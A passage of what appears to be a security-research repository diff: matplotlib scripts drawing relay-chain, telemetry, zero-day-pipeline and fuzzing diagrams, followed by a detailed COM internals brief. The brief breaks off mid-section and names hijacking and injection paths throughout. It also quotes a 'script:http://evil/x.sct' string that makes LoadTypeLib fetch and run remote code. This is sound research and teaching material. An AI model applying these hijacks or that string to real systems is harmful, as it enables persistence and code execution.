||||||
|
def d25():
|
||||||
|
fig, ax = canvas("Coercion + relay: where COM plugs in", w=13.0, h=5.0,
|
||||||
|
caption="COM links: IStorage trigger · DCOM activation · object method call | pure-RPC link: coercion (MS-RPRN / PetitPotam)")
|
||||||
|
atk = box(ax, 11, 31, 16, 9, "Attacker", fs=10)
|
||||||
|
vic = box(ax, 48, 31, 26, 10, "victim service\n(SYSTEM / machine acct)",
|
||||||
|
fs=9)
|
||||||
|
rel = box(ax, 84, 31, 28, 10, "relay target / loopback\nDCOM · LDAP · SMB",
|
||||||
|
fs=9)
|
||||||
|
exc = box(ax, 115, 31, 22, 9, "code execution", fs=9.5, edge=ATTACK,
|
||||||
|
lw=2.2, tc=ATTACK)
|
||||||
|
arrow(ax, atk.side("r"), vic.side("l"), kind="attack",
|
||||||
|
label="coerce SYSTEM/machine auth\nMS-RPRN · PetitPotam · IStorage\n[pure RPC]",
|
||||||
|
ly=5.4, fs=8.5, mono=True, lc=ATTACK, va="bottom")
|
||||||
|
step_circle(ax, 21.5, 31, 1)
|
||||||
|
arrow(ax, vic.side("r"), rel.side("l"), kind="attack",
|
||||||
|
label="relay NTLM auth\nto target / loopback\n[COM when DCOM]",
|
||||||
|
ly=5.4, fs=8.5, mono=True, lc=ATTACK, va="bottom")
|
||||||
|
step_circle(ax, 63.5, 31, 2)
|
||||||
|
arrow(ax, rel.side("r"), exc.side("l"), kind="attack",
|
||||||
|
label="DCOM-activated\nobject method executes\n[COM]", ly=5.4,
|
||||||
|
fs=8.5, mono=True, lc=ATTACK, va="bottom")
|
||||||
|
step_circle(ax, 100.5, 31, 3)
|
||||||
|
return save(fig, "d25-relay-chain.png")
|
||||||
|
|
||||||
|
|
||||||
|
ALL = [d18, d19, d20, d21, d22, d23, d24, d25]
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
"""d26-d28: Detection & research."""
|
||||||
|
from diag import *
|
||||||
|
from matplotlib.patches import Circle
|
||||||
|
|
||||||
|
|
||||||
|
def d26():
|
||||||
|
fig, ax = canvas("Telemetry coverage map", w=11.0, h=6.5,
|
||||||
|
caption="no single source suffices — layer them")
|
||||||
|
cols = ["Sysmon 1", "Sysmon 3", "Sysmon 7", "Sysmon 12-14",
|
||||||
|
"Security\n4624/4648/4672", "ETW (RPC/COM)", "Network"]
|
||||||
|
rows = ["Lateral movement", "Privilege escalation", "UAC bypass",
|
||||||
|
"Persistence", "Execution"]
|
||||||
|
dots = {
|
||||||
|
0: [0, 1, 4, 5, 6], # LM
|
||||||
|
1: [0, 2, 3, 4, 5], # LPE
|
||||||
|
2: [0, 2, 3, 5], # UAC
|
||||||
|
3: [0, 2, 3], # Persistence
|
||||||
|
4: [0, 1, 2, 5, 6], # Execution
|
||||||
|
}
|
||||||
|
x0, cw = 26.0, 11.8
|
||||||
|
ytop, rh = 45.5, 6.6
|
||||||
|
ybot = ytop - 5 * rh
|
||||||
|
centers_x = [x0 + (i + 0.5) * cw for i in range(7)]
|
||||||
|
centers_y = [ytop - (j + 0.5) * rh for j in range(5)]
|
||||||
|
for i in range(8):
|
||||||
|
x = x0 + i * cw
|
||||||
|
ax.plot([x, x], [ybot, ytop], color=RULE, lw=0.8, zorder=1)
|
||||||
|
for j in range(6):
|
||||||
|
y = ytop - j * rh
|
||||||
|
ax.plot([x0, x0 + 7 * cw], [y, y], color=RULE, lw=0.8, zorder=1)
|
||||||
|
for i, c in enumerate(cols):
|
||||||
|
label(ax, centers_x[i] - 1.0, ytop + 1.2, c, fs=8.5, ha="left",
|
||||||
|
va="bottom", zorder=4)
|
||||||
|
for j, r in enumerate(rows):
|
||||||
|
label(ax, x0 - 1.5, centers_y[j], r, fs=9.5, ha="right")
|
||||||
|
for j, cidx in dots.items():
|
||||||
|
for i in cidx:
|
||||||
|
ax.add_patch(Circle((centers_x[i], centers_y[j]), 1.35,
|
||||||
|
facecolor=DEF, edgecolor="none", zorder=3))
|
||||||
|
return save(fig, "d26-telemetry-map.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d27():
|
||||||
|
fig, ax = canvas("The zero-day pipeline", w=13.5, h=4.8)
|
||||||
|
stages = [
|
||||||
|
("Enumerate", "OleViewDotNet\nregistry sweeps"),
|
||||||
|
("Triage", "OOP + SYSTEM\nACLs + dangerous\nmethods"),
|
||||||
|
("Static RE", "IDA / Ghidra\nproxy / typelib"),
|
||||||
|
("Dynamic harness", "clients · ProcMon\nTTD"),
|
||||||
|
("Fuzz", "typed mutation\nmarshal paths"),
|
||||||
|
("Root cause", "analysis"),
|
||||||
|
("Weaponize", "primitive →\nLPE chain"),
|
||||||
|
("Report", "MSRC / ZDI"),
|
||||||
|
]
|
||||||
|
trans = ["candidates", "shortlist", "hypotheses", "harness", "crashes",
|
||||||
|
"primitive", "chain"]
|
||||||
|
xs = [9.3 + i * 16.5 for i in range(8)]
|
||||||
|
boxes = []
|
||||||
|
for (name, sub), x in zip(stages, xs):
|
||||||
|
b = box(ax, x, 26, 14.0, 17)
|
||||||
|
label(ax, x, 26 + 6.0 - (0.9 if "\n" not in sub else 0), name,
|
||||||
|
fs=8.5, weight="bold")
|
||||||
|
nlines = sub.count("\n") + 1
|
||||||
|
label(ax, x, 26 - 1.2 - (nlines - 1) * 1.0, sub, fs=8.5, mono=True,
|
||||||
|
color=SUB)
|
||||||
|
boxes.append(b)
|
||||||
|
for i in range(7):
|
||||||
|
arrow(ax, boxes[i].side("r"), boxes[i + 1].side("l"), kind="research")
|
||||||
|
label(ax, (boxes[i].r + boxes[i + 1].l) / 2, 35.7, trans[i], fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
for i, b in enumerate(boxes, 1):
|
||||||
|
step_circle(ax, b.l, b.t, i)
|
||||||
|
return save(fig, "d27-research-pipeline.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d28():
|
||||||
|
fig, ax = canvas("COM fuzzing harness anatomy", w=13.0, h=5.0)
|
||||||
|
b1 = box(ax, 14, 32, 20, 9, "Create valid\nobject", fs=9)
|
||||||
|
b2 = box(ax, 39, 32, 20, 9, "interface / method\niterator", fs=9)
|
||||||
|
b3 = box(ax, 69, 32, 32, 13,
|
||||||
|
"typed mutators:\nBSTR paths · SAFEARRAY bounds\nVARIANT types · IStream blobs\nfake interfaces",
|
||||||
|
fs=8.5)
|
||||||
|
b4 = box(ax, 99, 32, 18, 9, "call loop\nw/ HRESULT log", fs=9, mono=True)
|
||||||
|
b5 = box(ax, 120, 32, 18, 13,
|
||||||
|
"crash monitor:\npage heap +\nAppVerifier +\ndebugger + WER",
|
||||||
|
fs=8.5)
|
||||||
|
conn(ax, b1, "r", b2, "l", label="create", t=0.42, ly=1.4, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, b2, "r", b3, "l", label="per method", ly=7.0, fs=8.5, va="bottom")
|
||||||
|
conn(ax, b3, "r", b4, "l", label="mutated\nargs", ly=7.0, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, b4, "r", b5, "l", label="observe", ly=7.0, fs=8.5, va="bottom")
|
||||||
|
elbow(ax, [(120, 25.5), (120, 15), (39, 15), (39, 27.5)], kind="research",
|
||||||
|
label="corpus / triage loop", li=1, ly=1.4, fs=8.5, va="bottom")
|
||||||
|
return save(fig, "d28-fuzzing-harness.png")
|
||||||
|
|
||||||
|
|
||||||
|
ALL = [d26, d27, d28]
|
||||||
@@ -0,0 +1,531 @@
|
|||||||
|
# R1 — COM Internals Fundamentals (research brief)
|
||||||
|
|
||||||
|
## 1. What COM is and why it matters to an attacker
|
||||||
|
|
||||||
|
COM (Component Object Model, 1993) is Windows' binary-level component standard: a way for code in one binary (or process, or machine, or session, or integrity level) to call code in another through **interfaces**, without caring about compiler, language, or location. It is the substrate under OLE, ActiveX, DirectX, WMI, the shell, Office automation, WinRT, UAC, and most Microsoft management tooling. Practically every Windows process loads `combase.dll`/`ole32.dll`; thousands of COM classes are registered by default; and **activation is driven entirely by the registry**, which is why COM is simultaneously (a) the richest execution/persistence/escalation attack surface on Windows and (b) almost invisible to file-less-malware defenses.
|
||||||
|
|
||||||
|
Key security property that everything else follows from: **the mapping from a 128-bit class GUID to executable code lives in `HKCR\CLSID`, and `HKCR` is a merged view where per-user (`HKCU\Software\Classes`) registrations silently override system (`HKLM\Software\Classes`) ones.** COM trusts that mapping; attackers edit it.
|
||||||
|
|
||||||
|
### Core runtime components
|
||||||
|
|
||||||
|
| Binary / service | Role |
|
||||||
|
|---|---|
|
||||||
|
| `combase.dll` | Modern client-side COM runtime (CoCreateInstance, activation, marshaling, security). Most legacy `ole32.dll` exports forward here. |
|
||||||
|
| `ole32.dll` | Legacy runtime (OLE1/OLE2 embedding, monikers, ROT, clipboard); forwards most Co* APIs to combase. |
|
||||||
|
| `oleaut32.dll` | Automation: VARIANT, BSTR, SAFEARRAY, type libraries, the **universal (TypeLib-driven) marshaler**, `IDispatch`. |
|
||||||
|
| `rpcss.dll` | The COM "SCM"/activator, ROT store, OXID resolver, endpoint mapper support. Runs inside the **RpcSs** service (`svchost -k rpcss`). |
|
||||||
|
| `svchost -k DcomLaunch` | **DCOM Server Process Launcher** — starts out-of-process COM servers (`LocalServer32` EXEs, services, `dllhost.exe` surrogates). |
|
||||||
|
| `dllhost.exe /Processid:{AppID}` | Default **surrogate** process that hosts in-proc DLL classes out-of-process when an AppID has a `DllSurrogate` value (empty = default). |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. The object model
|
||||||
|
|
||||||
|
### 2.1 Interfaces = vtables (binary contract)
|
||||||
|
|
||||||
|
A COM "interface" is nothing more than a pointer to a **vtable** — an array of function pointers in a fixed order, forever. C++ abstract-base-class layout is the canonical mapping:
|
||||||
|
|
||||||
|
```
|
||||||
|
Client holds: pItf ──► [ vptr ] ──► vtable[0] = QueryInterface
|
||||||
|
vtable[1] = AddRef
|
||||||
|
vtable[2] = Release
|
||||||
|
vtable[3] = <first interface-specific method>
|
||||||
|
```
|
||||||
|
|
||||||
|
Rules that make COM a *binary* standard: method order never changes; an interface is **immutable** once published (identified by an IID); all methods return `HRESULT`; the first 3 slots are always `IUnknown`.
|
||||||
|
|
||||||
|
**`IUnknown` — IID `{00000000-0000-0000-C000-000000000046}`:**
|
||||||
|
```cpp
|
||||||
|
struct IUnknown {
|
||||||
|
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void **ppvObject) = 0;
|
||||||
|
virtual ULONG STDMETHODCALLTYPE AddRef(void) = 0;
|
||||||
|
virtual ULONG STDMETHODCALLTYPE Release(void) = 0; // object self-destructs at refcount 0
|
||||||
|
};
|
||||||
|
```
|
||||||
|
- `QueryInterface` is the **only** discovery mechanism: ask an object "do you implement IID X?" — rules: reflexive, symmetric, transitive; `QI(IID_IUnknown)` must always return the same pointer (object identity).
|
||||||
|
- Multiple interfaces on one object = multiple vptrs (C++ multiple inheritance with adjusting thunks). `IUnknown` appears once per base vtable, but identity is preserved via the primary `IUnknown`.
|
||||||
|
|
||||||
|
`HRESULT` is a 32-bit structured code: bit31 = severity (1 = failure), bits 16–26 = facility (1=RPC, 2=Dispatch, 3=Storage, 4=ITF/interface-specific, 7=Win32), bits 0–15 = code. Relevant constants: `S_OK=0`, `S_FALSE=1`, `E_NOINTERFACE=0x80004002`, `E_POINTER=0x80004003`, `E_ACCESSDENIED=0x80070005`, `REGDB_E_CLASSNOTREG=0x80040154`, `MK_E_SYNTAX`, `CO_E_ELEVATION_DISABLED`, `CO_E_MISSING_DISPLAYNAME`, `CO_E_RUNAS_VALUE_MUST_BE_AAA` (elevation errors), `RPC_E_CHANGED_MODE` (apartment conflict).
|
||||||
|
|
||||||
|
### 2.2 `IDispatch` — late binding for script (the automation engine)
|
||||||
|
|
||||||
|
**IID `{00020400-0000-0000-C000-000000000046}`** — vtable slots 3–6:
|
||||||
|
```cpp
|
||||||
|
HRESULT GetTypeInfoCount(UINT *pctinfo);
|
||||||
|
HRESULT GetTypeInfo(UINT iTInfo, LCID lcid, ITypeInfo **ppTInfo);
|
||||||
|
HRESULT GetIDsOfNames(REFIID riid, LPOLESTR *rgszNames, UINT cNames, LCID lcid, DISPID *rgDispId);
|
||||||
|
/* [local] */ HRESULT Invoke(DISPID dispIdMember, REFIID riid, LCID lcid, WORD wFlags,
|
||||||
|
DISPPARAMS *pDispParams, VARIANT *pVarResult,
|
||||||
|
EXCEPINFO *pExcepInfo, UINT *puArgErr);
|
||||||
|
/* wire: [call_as(Invoke)] RemoteInvoke(..., UINT cVarRef, UINT *rgVarRefIdx, VARIANTARG *rgVarRef) */
|
||||||
|
```
|
||||||
|
- Callers pass **names** (`GetIDsOfNames` → numeric `DISPID`) then `Invoke(DISPID, args-as-VARIANT-array)`. This is what `New-Object -ComObject`, VBScript `CreateObject`, JScript, VBA and `IDispatch`-only clients use.
|
||||||
|
- A **dual interface** exposes both a custom vtable and `IDispatch` — marked `dual` in IDL, described by a type library.
|
||||||
|
- `wFlags`: `DISPATCH_METHOD=0x1`, `DISPATCH_PROPERTYGET=0x2`, `DISPATCH_PROPERTYPUT=0x4`, `DISPATCH_PROPERTYPUTREF=0x8`. `DISPPARAMS = { VARIANTARG *rgvarg; DISPID *rgdispidNamed; UINT cArgs; UINT cNamedArgs; }` — arguments are passed **in reverse order**.
|
||||||
|
- Attack relevance: any class registered with `Programmable` + a dual interface is scriptable code execution plumbing (`WScript.Shell` `{72C24DD5-D70A-438B-8A42-98424B88AFB8}`, `Shell.Application` `{13709620-C279-11CE-A49E-444553540000}`, `MMC20.Application` `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}`, Office `*.Application`, `InternetExplorer.Application` `{0002DF01-0000-0000-C000-000000000046}`, `Scripting.FileSystemObject` `{0D43FE01-F093-11CF-8940-00A0C9054228}`, `Schedule.Service` `{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}`).
|
||||||
|
|
||||||
|
### 2.3 Class factories
|
||||||
|
|
||||||
|
Every creatable class exposes a class object implementing **`IClassFactory` — IID `{00000001-0000-0000-C000-000000000046}`**:
|
||||||
|
```cpp
|
||||||
|
HRESULT CreateInstance(IUnknown *pUnkOuter, REFIID riid, void **ppvObject); // pUnkOuter ≠ NULL only for aggregation
|
||||||
|
HRESULT LockServer(BOOL fLock); // pin server in memory
|
||||||
|
```
|
||||||
|
(`IClassFactory2` `{B196B28F-BAB4-101A-B69C-00AA00341D07}` adds licensing: `GetLicInfo`, `RequestLicKey`, `CreateInstanceLic`.)
|
||||||
|
|
||||||
|
**Aggregation vs containment**: `CoCreateInstance(..., pUnkOuter, ...)` passes a controlling outer `IUnknown`; inner object delegates its `IUnknown` to the outer (identity fusion) while keeping private inner vtables. Aggregation bugs (identity confusion, blind-AddRef/Release) are a classic LPE bug class ("trapped objects").
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Identity: GUIDs and friends
|
||||||
|
|
||||||
|
Everything in COM is named by a **GUID**: 16 bytes, string form `{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}` (`Data1` u32, `Data2`/`Data3` u16, `Data4` u8[8]; generated by `CoCreateGuid`/`UuidCreate`, version-4 random). String↔binary: `CLSIDFromString`/`IIDFromString`/`StringFromGUID2`, `StringFromCLSID`.
|
||||||
|
|
||||||
|
| Name | Identifies | Registry home |
|
||||||
|
|---|---|---|
|
||||||
|
| **CLSID** | a class (implementation) | `HKCR\CLSID\{CLSID}` |
|
||||||
|
| **IID** | an interface (vtable contract) | `HKCR\Interface\{IID}` |
|
||||||
|
| **AppID** | deployment/security group of classes | `HKCR\AppID\{AppID}` |
|
||||||
|
| **ProgID** | human-readable class alias, `Vendor.Component[.Version]`, ≤39 chars | `HKCR\<ProgID>` |
|
||||||
|
| **LIBID** | a type library + version (major.minor) | `HKCR\TypeLib\{LIBID}\<ver>` |
|
||||||
|
| **CATID** | component category (e.g. "Insertable control") | `HKCR\Component Categories\{CATID}` |
|
||||||
|
|
||||||
|
Conversions: `CLSIDFromProgID` (reads `HKCR\<ProgID>\CLSID`), `ProgIDFromCLSID` (reads `HKCR\CLSID\{CLSID}\ProgID`), `VersionIndependentProgID` + `CurVer` chain. Uniqueness is by convention only — nothing validates collisions → ProgID squatting is trivial.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Registry layout (the COM "database")
|
||||||
|
|
||||||
|
### 4.1 The merged view — the single most important security fact
|
||||||
|
|
||||||
|
`HKEY_CLASSES_ROOT` is **not a real hive**; it is a merged view of:
|
||||||
|
- `HKLM\SOFTWARE\Classes` (system-wide; admin/TrustedInstaller to write)
|
||||||
|
- `HKCU\SOFTWARE\Classes` (per-user; **writable by the unprivileged user**)
|
||||||
|
|
||||||
|
**Per-user keys win** in the merged view. Writes to `HKCR` from a standard user are silently redirected to `HKCU\Software\Classes`. This applies to `CLSID`, `AppID`, `Interface`, `TypeLib`, ProgIDs and file associations → the entire CLSID→code resolution can be shadowed per-user with no privileges. This is the root primitive of COM hijacking (persistence/UAC-bypass chapters).
|
||||||
|
|
||||||
|
64-bit vs 32-bit: `HKCR\WOW6432Node\CLSID` (and `WOW6432Node\AppID`, `WOW6432Node\Interface`, `WOW6432Node\TypeLib`) hold 32-bit registrations; 32-bit processes writing `HKLM\SOFTWARE\Classes\CLSID` are redirected there. COM bitness must match the client unless an out-of-proc server or `PreferredServerBitness` (AppID value, 1=32-bit, 2=64-bit) is used; `CLSCTX_ACTIVATE_32_BIT_SERVER=0x40000` / `CLSCTX_ACTIVATE_64_BIT_SERVER=0x80000` force it.
|
||||||
|
|
||||||
|
### 4.2 `HKCR\CLSID\{CLSID}` — anatomy
|
||||||
|
|
||||||
|
```
|
||||||
|
HKCR\CLSID\{XXXXXXXX-...}
|
||||||
|
(Default) = "Friendly class name"
|
||||||
|
AppID = "{AppID-GUID}" (value; links to security config)
|
||||||
|
LocalizedString = "@C:\path\to.dll,-101" (value; MUI name for UAC consent)
|
||||||
|
\InprocServer32
|
||||||
|
(Default) = "C:\...\server.dll"
|
||||||
|
ThreadingModel = "" | "Apartment" | "Free" | "Both" | "Neutral"
|
||||||
|
\LocalServer32
|
||||||
|
(Default) = "C:\...\server.exe" (may include args)
|
||||||
|
ServerExecutable = "C:\...\server.exe" (optional)
|
||||||
|
\InprocHandler32 = handler DLL (handler marshaling)
|
||||||
|
\ProgID = "Vendor.Component.1"
|
||||||
|
\VersionIndependentProgID = "Vendor.Component"
|
||||||
|
\TypeLib = "{LIBID}"
|
||||||
|
\TreatAs = "{OtherCLSID}" (full emulation redirect — checked FIRST)
|
||||||
|
\AutoTreatAs = "{OtherCLSID}" (auto version-update redirect)
|
||||||
|
\Control / \Insertable / \Programmable (marker subkeys)
|
||||||
|
\Implemented Categories\{CATID}
|
||||||
|
\DefaultIcon, \ToolboxBitmap32, \MiscStatus, \Version, \Verb
|
||||||
|
\Elevation
|
||||||
|
Enabled = 1 (DWORD; class is LUA/auto-elevation capable)
|
||||||
|
IconReference = "@path,-resid"
|
||||||
|
```
|
||||||
|
|
||||||
|
`ThreadingModel` semantics: *(absent)* = legacy single-threaded → object must live in the **first (main) STA** of the process; `Apartment` = any STA; `Free` = MTA only; `Both` = same apartment as client (STA or MTA); `Neutral` = thread-neutral apartment (COM+). Wrong model ⇒ COM spins up a different apartment and **marshals** (cross-apartment call via proxy).
|
||||||
|
|
||||||
|
### 4.3 `HKCR\AppID\{AppID}` — security configuration
|
||||||
|
|
||||||
|
Named values (binary ACLs are self-relative `SECURITY_DESCRIPTOR`s, editable in `dcomcnfg.exe` → Component Services → DCOM Config):
|
||||||
|
|
||||||
|
| Value | Meaning |
|
||||||
|
|---|---|
|
||||||
|
| `(Default)` | Friendly name |
|
||||||
|
| `LaunchPermission` | Binary ACL: who may **activate** (checked by RPCSS at launch) |
|
||||||
|
| `AccessPermission` | Binary ACL: who may **call** (checked in server process at first access / by CoInitializeSecurity default) |
|
||||||
|
| `AuthenticationLevel` | DWORD override of `RPC_C_AUTHN_LEVEL_*` |
|
||||||
|
| `RunAs` | `"Interactive User"` or a user name → server runs as that identity (absent = launching user); **cross-session activation when set to Interactive User** |
|
||||||
|
| `LocalService` + `ServiceParameters` | Run as a Windows service (SCM start) |
|
||||||
|
| `DllSurrogate` | Custom surrogate path; **empty string = default `dllhost.exe`** |
|
||||||
|
| `RemoteServerName` | Default remote host (legacy) |
|
||||||
|
| `ActivateAtStorage` | DWORD 1 = activate where persistent data lives |
|
||||||
|
| `ROTFlags` | DWORD 1 = allow any client ROT visibility |
|
||||||
|
| `AppIDFlags` | e.g. `APPIDREGFLAGS_AAA_NO_IMPERSONATE=0x8` |
|
||||||
|
| `PreferredServerBitness` | 1 = 32-bit, 2 = 64-bit |
|
||||||
|
| `LoadUserSettings` | load user hive in server |
|
||||||
|
| `Endpoints` | restrict RPC protocol sequences (multi_sz) |
|
||||||
|
| `\Elevation\Enabled=1` | (under CLSID, see 4.2) auto-elevate capable |
|
||||||
|
|
||||||
|
Also `HKCR\AppID\<program.exe>` (named after the EXE) with value `AppID={guid}` maps an EXE to its AppID. AppIDs are also where **elevation marking** and **DCOM reachability** come from: a class with no AppID cannot be launched remotely and cannot elevate.
|
||||||
|
|
||||||
|
### 4.4 `HKCR\Interface\{IID}` — marshaling glue
|
||||||
|
|
||||||
|
```
|
||||||
|
HKCR\Interface\{IID}
|
||||||
|
(Default) = "IMyInterface"
|
||||||
|
\ProxyStubClsid32 = "{CLSID of the proxy/stub DLL}" <- loaded into BOTH client & server processes
|
||||||
|
\ProxyStubClsid = 16-bit legacy
|
||||||
|
\NumMethods = "7"
|
||||||
|
\BaseInterface = "{IID of parent}"
|
||||||
|
\TypeLib = "{LIBID}" (+ \Version)
|
||||||
|
```
|
||||||
|
- `ProxyStubClsid32 = {00020424-0000-0000-C000-000000000046}` (**PSOAInterface**, the oleaut32 "universal marshaler") ⇒ interface is marshaled **TypeLib-driven** (requires `[oleautomation]`-compatible types). `PSDispatch = {00020420-0000-0000-C000-000000000046}` does the same for pure `IDispatch`.
|
||||||
|
- Otherwise the CLSID points at a MIDL-generated proxy/stub DLL (which itself has a `HKCR\CLSID` entry with `InprocServer32`).
|
||||||
|
- **Attack note**: this key is the marshaling trust anchor — a per-user `ProxyStubClsid32` shadow injects a DLL into every process that marshals that interface, including privileged COM servers.
|
||||||
|
|
||||||
|
### 4.5 `HKCR\TypeLib\{LIBID}` — type libraries
|
||||||
|
|
||||||
|
```
|
||||||
|
HKCR\TypeLib\{LIBID}
|
||||||
|
\<major.minor> (Default) = "MyLib 1.0 Type Library"
|
||||||
|
\0\win32 (Default) = "C:\...\lib.tlb" (0 = LCID-neutral)
|
||||||
|
\0\win64 (Default) = 64-bit tlb
|
||||||
|
\9\win32 (Default) = LCID 9 (en-US) localized tlb
|
||||||
|
\FLAGS = "0" (LIBFLAG: 1=RESTRICTED, 2=CONTROL, 4=HIDDEN, 8=HASDISKIMAGE)
|
||||||
|
\HELPDIR = path
|
||||||
|
```
|
||||||
|
APIs: `LoadTypeLib(path)` / `LoadTypeLibEx`, `LoadRegTypeLib(LIBID, wVerMajor, wVerMinor, lcid)`, `RegisterTypeLib`/`UnRegisterTypeLib`, `QueryPathOfRegTypeLib`. Type libraries are binary (magic `MSFT` = 0x5446534D) or embedded in PEs as `TYPELIB` resources; `stdole2.tlb`/`stdole32.tlb` are the system ones. **`LoadTypeLib` quirk (Outflank research): if the path is not a standalone/embedded TLB, the string is parsed as a moniker display name** → `"script:http://evil/x.sct"` reaches the script moniker → code execution from a "data" API. This underpins both TypeLib hijacking (persistence chapter) and VS poisoning attacks.
|
||||||
|
|
||||||
|
### 4.6 Machine-wide OLE policy — `HKLM\SOFTWARE\Microsoft\Ole`
|
||||||
|
|
||||||
|
| Value | Meaning |
|
||||||
|
|---|---|
|
||||||
|
| `EnableDCOM` ("Y"/"N") | Master remote-activation switch |
|
||||||
|
| `EnableRemoteConnect` ("Y"/"N") | Remote *access* (non-activation) switch |
|
||||||
|
| `DefaultLaunchPermission` / `DefaultAccessPermission` | Binary ACLs used when an AppID omits its own |
|
||||||
|
| `MachineLaunchRestriction` / `MachineAccessRestriction` | Hard **ceiling** ACLs applied to every activation/access |
|
||||||
|
| `LegacyAuthenticationLevel` (DWORD) | Process default when app doesn't call CoInitializeSecurity (2=`CONNECT`; raised to `PKT_INTEGRITY`=5 by hardening) |
|
||||||
|
| `LegacyImpersonationLevel` (DWORD) | Default client impersonation level (commonly 2=Identify; many vendor hardening scripts set 3=Impersonate) |
|
||||||
|
| `AppCompat\RequireIntegrityActivationAuthenticationLevel` (DWORD) | CVE-2021-26414 kill-switch: 1 = DCOM servers reject activation below `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` |
|
||||||
|
| `AppCompat\RaiseActivationAuthenticationLevel` (DWORD) | 2 = clients auto-raise non-anonymous activation to PKT_INTEGRITY (Nov 2022) |
|
||||||
|
|
||||||
|
### 4.7 Registration-free COM (SxS)
|
||||||
|
|
||||||
|
Classes can be registered in an **activation-context manifest** instead of the registry: `<file><comClass clsid="..." threadingModel="..." tlbid="..." progid="..."/></file>`, `<comInterfaceExternalProxyStub iid="..." proxyStubClsid32="...">`, `<typelib tlbid="...">`. Driven by `CreateActCtx`/`ActivateActCtx`; Windows itself ships manifests under `%WinDir%\WinSxS\Manifests` (`.NET`/isolated COM). Lookup order during activation: **active activation context → process manifest → application manifest → registry**. Attack relevance: reg-free entries are invisible to naive `HKCR` hunting and are a stealthy hijack/persistence path (an attacker-controlled manifest for a hijacked CLSID needs no registry write at all).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Activation internals (step by step)
|
||||||
|
|
||||||
|
### 5.1 Client-side APIs (exact signatures)
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
HRESULT CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
|
||||||
|
// dwCoInit: COINIT_MULTITHREADED=0x0 | COINIT_APARTMENTTHREADED=0x2
|
||||||
|
// | COINIT_DISABLE_OLE1DDE=0x4 | COINIT_SPEED_OVER_MEMORY=0x8
|
||||||
|
HRESULT CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
|
||||||
|
HRESULT CoGetClassObject(REFCLSID rclsid, DWORD dwClsContext, LPVOID pvReserved, REFIID riid, LPVOID *ppv);
|
||||||
|
HRESULT CoCreateInstanceEx(REFCLSID rclsid, IUnknown *punkOuter, DWORD dwClsCtx,
|
||||||
|
COSERVERINFO *pServerInfo, DWORD dwCount, MULTI_QI *pResults);
|
||||||
|
// COSERVERINFO { DWORD dwReserved1; LPWSTR pwszName; COAUTHINFO *pAuthInfo; DWORD dwReserved2; }
|
||||||
|
// MULTI_QI { const IID *pIID; IUnknown *pItf; HRESULT hr; }
|
||||||
|
HRESULT CoGetObject(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv);
|
||||||
|
HRESULT CLSIDFromProgID(LPCOLESTR lpszProgID, LPCLSID lpclsid);
|
||||||
|
```
|
||||||
|
|
||||||
|
`CoCreateInstance` literally expands to: `CoGetClassObject(clsid, ctx, NULL, IID_IClassFactory, &pCF); pCF->CreateInstance(pUnkOuter, riid, ppv); pCF->Release();`
|
||||||
|
|
||||||
|
**CLSCTX** (`wtypes.h`): `INPROC_SERVER=0x1`, `INPROC_HANDLER=0x2`, `LOCAL_SERVER=0x4`, `INPROC_SERVER16=0x8`, `REMOTE_SERVER=0x10`, `INPROC_HANDLER16=0x20`, `NO_CODE_DOWNLOAD=0x400`, `NO_CUSTOM_MARSHAL=0x1000`, `ENABLE_CODE_DOWNLOAD=0x2000`, `NO_FAILURE_LOG=0x4000`, `DISABLE_AAA=0x8000`, `ENABLE_AAA=0x10000`, `FROM_DEFAULT_CONTEXT=0x20000`, `ACTIVATE_32_BIT_SERVER=0x40000`, `ACTIVATE_64_BIT_SERVER=0x80000`, `ENABLE_CLOAKING=0x100000`, `APPCONTAINER=0x400000`, `ACTIVATE_AAA_AS_IU=0x800000`, `PS_DLL=0x80000000`; composites `ALL=0x17`, `SERVER=0x15`.
|
||||||
|
|
||||||
|
### 5.2 In-process activation (`CLSCTX_INPROC_SERVER`)
|
||||||
|
|
||||||
|
1. combase resolves `HKCR\CLSID\{clsid}`: **`TreatAs`/`AutoTreatAs` first** (recursive redirect), then the SxS activation context, then `InprocServer32` (bitness-aware view).
|
||||||
|
2. `LoadLibraryW(server.dll)` (subject to DLL search order + KnownDLLs + Safer/AppLocker).
|
||||||
|
3. `GetProcAddress("DllGetClassObject")` → call `DllGetClassObject(rclsid, riid, &pv)` — every COM DLL exports `DllGetClassObject`, `DllCanUnloadNow`, optionally `DllRegisterServer`/`DllUnregisterServer` (invoked by `regsvr32.exe`).
|
||||||
|
4. Server returns its class factory; `IClassFactory::CreateInstance` news the object and QIs the requested IID.
|
||||||
|
5. Unload path: `CoFreeUnusedLibraries` periodically calls `DllCanUnloadNow` → `S_OK` ⇒ `FreeLibrary`.
|
||||||
|
|
||||||
|
**Attack surface at each step**: TreatAs redirect (no DLL load of the real class), phantom `InprocServer32` path (plant DLL), search-order planting, unsigned DLL load into arbitrary (incl. elevated/PPL-adjacent) processes, refcount/UAF bugs in unload.
|
||||||
|
|
||||||
|
### 5.3 Local out-of-process activation (`CLSCTX_LOCAL_SERVER`)
|
||||||
|
|
||||||
|
1. combase sees no (or excluded) in-proc server → asks the **activator** over ALPC/LRPC: in modern Windows this is the **`ISystemActivator`/`IRemoteSCMActivator` interface, GUID `{000001A0-0000-0000-C000-000000000046}`**, implemented by `rpcss.dll` (and mirrored in-process in combase for the local fast path).
|
||||||
|
